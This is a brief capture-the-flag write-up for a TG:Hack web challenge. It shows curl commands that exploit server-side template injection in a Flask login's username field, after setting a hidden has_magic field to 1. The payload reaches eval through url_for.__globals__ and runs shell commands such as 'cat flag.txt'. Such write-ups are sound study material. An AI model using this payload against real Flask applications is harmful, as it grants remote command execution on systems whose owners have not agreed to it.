```
curl 'https://wizardschat.tghack.no/login' --data 'has_magic=1&username={{7*7}}' --compressed -c cookie;curl https://wizardschat.tghack.no/ -b cookie
```
see username...
```
curl 'https://wizardschat.tghack.no/login' --data 'has_magic=1&username={{url_for.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.popen%28%27cat flag.txt%27%29.read%28%29%22%29}}' --compressed -c cookie;curl https://wizardschat.tghack.no/ -b cookie
```
see flag

when we browser https://wizardschat.tghack.no/login.we find `<input type="hidden" name="has_magic" value="0" />`
if we post has_magic=1&username=anything.. then we will get a cookie and new page. the username in response. test SSTI. use {{7*7}}. then username will be 49.
final payload .`url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")`

python3
```
from flask import *
url_for.__globals__
```
You can see the results yourself.

.......I read korean bro writeup then write this ........hahah